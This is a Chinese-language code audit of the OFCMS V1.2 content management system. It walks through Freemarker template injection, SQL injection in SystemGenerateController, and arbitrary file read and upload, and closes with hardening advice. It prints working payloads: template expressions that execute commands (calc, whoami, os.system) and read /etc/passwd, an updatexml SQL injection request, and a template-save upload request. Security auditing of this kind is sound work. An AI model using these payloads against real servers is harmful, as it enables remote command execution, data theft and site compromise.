ofcms V1.2 代码审计(一)
字数 919 2025-08-20 18:18:16
OFCMS V1.2 安全漏洞分析与利用指南
一、Freemarker模板注入漏洞
1.1 漏洞发现
-
组件识别:
- 检查
pom.xml文件确认是否加载了freemarker组件 - 在后端未编译的HTML文件中查找类似
${reroot}的Freemarker表达式
- 检查
-
代码定位:
- 搜索关键字"reroot"找到对应代码位置
- 检查是否存在过滤器防护措施
1.2 漏洞利用POC
命令执行POC:
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("open -a Calculator.app")}
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","whoami").start()}
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("open -a Calculator.app") }
文件读取POC:
<#assign is=object?api.class.getResourceAsStream("/Test.class")>FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>${byte},
</#list>]
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>${byte},
</#list>]
二、SQL注入漏洞
2.1 JFinal DB+Record模式分析
-
安全机制:
- 使用参数化查询防止SQL注入
- 底层使用PreparedStatement处理参数
- SQL语句和参数分开处理
-
潜在风险点:
- LIKE子句
- ORDER BY子句
- IN子句
- GROUP BY子句
2.2 漏洞发现
-
关键函数搜索:
Db.query(Db.update(Db.find(Db.deleteById(Db.save(Db.findById(Db.paginate(
-
安全验证:
- 确认是否使用
SqlPara进行预编译 - 检查参数是否直接拼接SQL语句
- 确认是否使用
2.3 漏洞复现
-
漏洞位置:
SystemGenerateController中的create方法- 直接接收并执行
sql参数
-
利用方式:
GET /ofcms_admin/admin/system/generate/create?sql=update+of_cms_link+set+link_name%3Dupdatexml(1%2Cconcat(0x7e%2C(user()))%2C0)+where+link_id+%3D+4 HTTP/1.1
Host: 192.168.1.15:8080
三、任意文件上传与读取漏洞
3.1 任意文件读取
-
漏洞发现:
- 检查文件读取操作
- 确认路径过滤机制
-
关键代码:
File[] files = pathFile.listFiles(new FileFilter() {
@Override
public boolean accept(File file) {
return !file.isDirectory() &&
(file.getName().endsWith(".html") ||
file.getName().endsWith(".xml") ||
file.getName().endsWith(".css") ||
file.getName().endsWith(".js"));
}
});
String fileContent = FileUtils.readString(editFile);
- 利用方式:
- 通过构造请求读取web.xml等关键文件
dir_name参数可有可无
3.2 任意文件上传
-
漏洞发现:
- 检查文件写入操作
- 确认文件名和内容控制点
-
关键代码:
String fileName = getPara("file_name");
String fileContent = getRequest().getParameter("file_content");
fileContent = fileContent.replace(...);
File file = new File(pathFile, fileName);
FileUtils.writeString(file, fileContent);
- 路径控制:
if("res".equals(resPath)){
pathFile = new File(SystemUtile.getSiteTemplateResourcePath());
} else {
pathFile = new File(SystemUtile.getSiteTemplatePath());
}
-
防护措施:
- 过滤
../字符 - 后端规定目录位置
- 过滤
-
利用方式:
POST /ofcms_admin/admin/cms/template/save HTTP/1.1
Host: 192.168.1.15:8080
Content-Type: application/x-www-form-urlencoded
dirs=%2F&res_path=&file_name=list.html&file_content=123
四、防护建议
-
Freemarker防护:
- 限制模板中可调用的Java类和方法
- 使用安全的Freemarker配置
-
SQL注入防护:
- 严格使用参数化查询
- 对特殊SQL子句进行额外验证
-
文件操作防护:
- 实施严格的路径校验
- 限制可操作的文件类型
- 使用白名单机制控制可访问目录
-
输入验证:
- 对所有用户输入进行严格验证
- 实施最小权限原则